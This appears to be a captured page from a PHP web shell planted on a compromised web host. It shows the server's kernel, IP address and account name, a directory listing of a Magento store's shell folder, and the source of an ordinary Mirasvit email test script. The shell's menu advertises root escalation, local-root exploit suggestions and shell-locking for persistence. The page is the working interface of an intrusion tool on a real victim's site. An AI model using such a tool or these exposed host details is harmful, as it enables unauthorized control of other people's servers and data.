Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
homegym.my /
shell /
Delete
Unzip
Name
Size
Permission
Date
Action
extendware
[ DIR ]
drwxr-xr-x
2025-10-31 00:40
.htaccess
127
B
-r--r--r--
2025-10-31 00:39
abstract.php
5.54
KB
-rw-r--r--
2019-06-20 14:00
compiler.php
4.27
KB
-rw-r--r--
2019-06-20 14:00
doc.php
12.56
KB
-rw-r--r--
2025-10-28 12:47
email.php
2.28
KB
-rw-r--r--
2019-06-20 14:00
email_test.php
3.67
KB
-rw-r--r--
2019-06-20 14:00
error_log
1.4
MB
-rw-r--r--
2019-06-20 14:00
fpc.php
1.66
KB
-rw-r--r--
2019-06-20 14:00
helpdesk.php
1.29
KB
-rw-rw-r--
2019-06-20 14:00
indexer.php
8.01
KB
-rw-r--r--
2019-06-20 14:00
log.php
5.77
KB
-rw-r--r--
2019-06-20 14:00
mailchimp_converter.php
3.02
KB
-rw-r--r--
2019-06-20 14:00
misspell.php
814
B
-rw-r--r--
2019-06-20 14:00
rewards.php
842
B
-rw-r--r--
2019-06-20 14:00
scheduler.php
13.21
KB
-rw-rw-rw-
2019-06-20 14:00
search.php
3.68
KB
-rw-r--r--
2019-06-20 14:00
searchautocomplete.php
832
B
-rw-r--r--
2019-06-20 14:00
tools.php
8.76
KB
-rw-r--r--
2019-06-20 14:00
Save
Rename
<?php /** * Mirasvit * * This source file is subject to the Mirasvit Software License, which is available at http://mirasvit.com/license/. * Do not edit or add to this file if you wish to upgrade the to newer versions in the future. * If you wish to customize this module for your needs * Please refer to http://www.magentocommerce.com for more information. * * @category Mirasvit * @package Follow Up Email * @version 1.0.2 * @revision 271 * @copyright Copyright (C) 2014 Mirasvit (http://mirasvit.com/) */ require_once 'abstract.php'; class Mirasvit_Shell_EmailTest extends Mage_Shell_Abstract { public function run() { // $this->fillReportData(); Mage::getModel('emailreport/aggregated')->aggregateAll(); die('ok'); // $this->testEvents(); } public function fillReportData() { $queueIds = Mage::getModel('email/queue')->getCollection()->getAllIds(); for ($i = 0; $i < 1000; $i++) { $queueId = $queueIds[rand(0, count($queueIds))]; $queue = Mage::getModel('email/queue')->load($queueId); Mage::getModel('emailreport/open') ->setQueueId($queue->getId()) ->setTriggerId($queue->getTrigger()->getId()) ->setSessionId(microtime(true)) ->setCreatedAt(Mage::getSingleton('core/date')->date(null, time() - rand(0, 365 * 24 * 60 * 60))) ->save(); if (rand(0, 2) == 1) { Mage::getModel('emailreport/click') ->setQueueId($queue->getId()) ->setTriggerId($queue->getTrigger()->getId()) ->setSessionId(microtime(true)) ->setCreatedAt(Mage::getSingleton('core/date')->date(null, time() - rand(0, 365 * 24 * 60 * 60))) ->save(); } if (rand(0, 20) == 1) { Mage::getModel('emailreport/review') ->setQueueId($queue->getId()) ->setTriggerId($queue->getTrigger()->getId()) ->setSessionId(microtime(true)) ->setReviewId(0) ->setCreatedAt(Mage::getSingleton('core/date')->date(null, time() - rand(0, 365 * 24 * 60 * 60))) ->save(); } if (rand(0, 25) == 1) { Mage::getModel('emailreport/order') ->setQueueId($queue->getId()) ->setTriggerId($queue->getTrigger()->getId()) ->setSessionId(microtime(true)) ->setRevenue(rand(100, 1000)) ->setCreatedAt(Mage::getSingleton('core/date')->date(null, time() - rand(0, 365 * 24 * 60 * 60))) ->save(); echo '+'; } echo '-'; } } public function testEvents() { $eventObj = new Mirasvit_Email_Model_Event_Cart_Abandoned(); $events = array(); $events[] = array( 'time' => 1413387200, 'customer_email' => 'bob1@example.com', 'customer_name' => 'Bob1 Joe1', 'customer_id' => null, 'store_id' => 1, 'quote_id' => 5, ); foreach ($events as $event) { $uniqKey = $eventObj->getEventUniqKey($event); $eventObj->saveEvent(Mirasvit_Email_Model_Event_Cart_Abandoned::EVENT_CODE, $uniqKey, $event); } $triggers = Mage::getModel('email/trigger')->getCollection() ->addActiveFilter(); foreach ($triggers as $trigger) { $trigger->processNewEvents(); } } } $test = new Mirasvit_Shell_EmailTest(); $test->run();